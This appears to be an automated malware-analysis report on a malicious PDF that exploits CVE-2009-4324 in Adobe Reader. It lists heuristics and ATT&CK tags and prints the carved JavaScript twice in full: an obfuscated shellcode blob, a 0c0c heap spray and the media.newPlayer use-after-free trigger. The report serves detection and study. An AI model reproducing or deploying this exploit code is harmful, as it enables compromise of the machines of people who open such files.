MALICIOUS
228
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
This PDF document contains embedded JavaScript that exploits CVE-2009-4324 via the media.newPlayer API. The script is heavily obfuscated using string concatenation and encoding, but the core functionality appears to be the execution of arbitrary code. The exploit aims to download and execute a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 6
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0023_000.js |
pdf-javascript-stream | PDF /JS object 23 at offset 0x1359 | 2609 bytes |
SHA-256: 9c9c46d78e21f360b755c28d6a9ee659a577bc02154d87069f4010783edd6967 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function CRTYU()
{
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
this._strings = new Array;
}
CRTYU.prototype.append = function(str)
{
this._strings.push(str);
return this;
}
CRTYU.prototype.toString = function()
{
return this._strings.join("");
}
CRTYU.prototype.length = function()
{
var str = this._strings.join("");
return str.length;
}
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77\x50\x6C\x61\x79";
var d = "\x65\x72";
var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z31e6%Zee60%Zacab%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Za9ba%Zdee3%Zcd79%Zdee0%Ze73e%Zdee3%Zeec2%Zdee0"));
var nop = unescape("\x25\x750c0c");
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f"));
var h = "\x70\x72\x69";
var i = "\x6E\x74\x64";
var j = h+i;
var TMP = new CRTYU();
var lenth = 36000 - sc["\x6c\x65\x6e\x67\x74\x68"];
lenth = lenth/2;
while(nop["\x6c\x65\x6e\x67\x74\x68"] <= lenth)
{
TMP.append(nop);
TMP.append(nop);
nop = TMP.toString();
}
memory=new Array();
for(i=0;i<0xE00;i++)
{
var TMP2 = new CRTYU();
TMP2.append(nop);
TMP2.append(sc);
memory[i] = TMP2.toString();
}
if(app.viewerVersion>=9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e);
}
|
|||
javascript_obj0023_001.js |
pdf-javascript-stream | PDF /JS object 23 at offset 0x137D | 3992 bytes |
SHA-256: aa3696511bdcbe03d34ddb1926e14693e932d2b224aadda76be74e2e7fb6069b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function CRTYU()
{
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
this._strings = new Array;
}
CRTYU.prototype.append = function(str)
{
this._strings.push(str);
return this;
}
CRTYU.prototype.toString = function()
{
return this._strings.join("");
}
CRTYU.prototype.length = function()
{
var str = this._strings.join("");
return str.length;
}
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77\x50\x6C\x61\x79";
var d = "\x65\x72";
var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z31e6%Zee60%Zacab%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Za9ba%Zdee3%Zcd79%Zdee0%Ze73e%Zdee3%Zeec2%Zdee0"));
var nop = unescape("\x25\x750c0c");
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f"));
var h = "\x70\x72\x69";
var i = "\x6E\x74\x64";
var j = h+i;
var TMP = new CRTYU();
var lenth = 36000 - sc["\x6c\x65\x6e\x67\x74\x68"];
lenth = lenth/2;
while(nop["\x6c\x65\x6e\x67\x74\x68"] <= lenth)
{
TMP.append(nop);
TMP.append(nop);
nop = TMP.toString();
}
memory=new Array();
for(i=0;i<0xE00;i++)
{
var TMP2 = new CRTYU();
TMP2.append(nop);
TMP2.append(sc);
memory[i] = TMP2.toString();
}
if(app.viewerVersion>=9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e);
}
endstream
endobj
21 0 obj (D:20100308070649Z)
endobj
13 0 obj (DefaultFlow)
endobj
24 0 obj
<<
/Flow 13 0 R
>>
endobj
25 0 obj
<<
/LastModified 21 0 R
/Private 24 0 R
>>
endobj
22 0 obj
<<
/PDFWP 25 0 R
>>
endobj
20 0 obj
<<
/PDFWP 26 0 R
>>
endobj
26 0 obj
<<
/LastModified 27 0 R
/Private 28 0 R
>>
endobj
27 0 obj (D:20100308070649Z)
endobj
28 0 obj
<<
>>
endobj
19 0 obj
<<
/JS 23 0 R
/S /JavaScript
>>
endobj
29 0 obj
<<
/Creator (�� A c r o b a t ��Vh 9 . 0)
/Title (��g*h ��)
/Producer (Adobe Acrobat 9.2.0)
/ModDate (D:20100308150713+08'00')
/CreationDate (D:20100308150649+08'00')
>>
endobj xref
0 30
0000000000 65535 f
0000000015 00000 n
0000003602 00000 n
0000003656 00000 n
0000003710 00000 n
0000003751 00000 n
0000004389 00000 n
0000003810 00000 n
0000003846 00000 n
0000003905 00000 n
0000003941 00000 n
0000004014 00000 n
0000004061 00000 n
0000007655 00000 n
0000004085 00000 n
0000004144 00000 n
0000004736 00000 n
0000004238 00000 n
0000004670 00000 n
0000007982 00000 n
0000007822 00000 n
0000007618 00000 n
0000007784 00000 n
0000004953 00000 n
0000007686 00000 n
0000007723 00000 n
0000007860 00000 n
0000007921 00000 n
0000007958 00000 n
0000008032 00000 n
trailer
<<
/Info 29 0 R
/Root 17 0 R
/Size 30
/ID [<df6097a30f4e704fb097c3b92dff8d0d> <3fdbeab6f2cac94ab458b1b4f61b974f>]
>>
startxref
8224
%%EOF
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | string-concatenation normalized Acrobat API aliases at offset 0x1359 | 126 bytes |
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74 |
|||
Preview scriptFirst 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */ |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.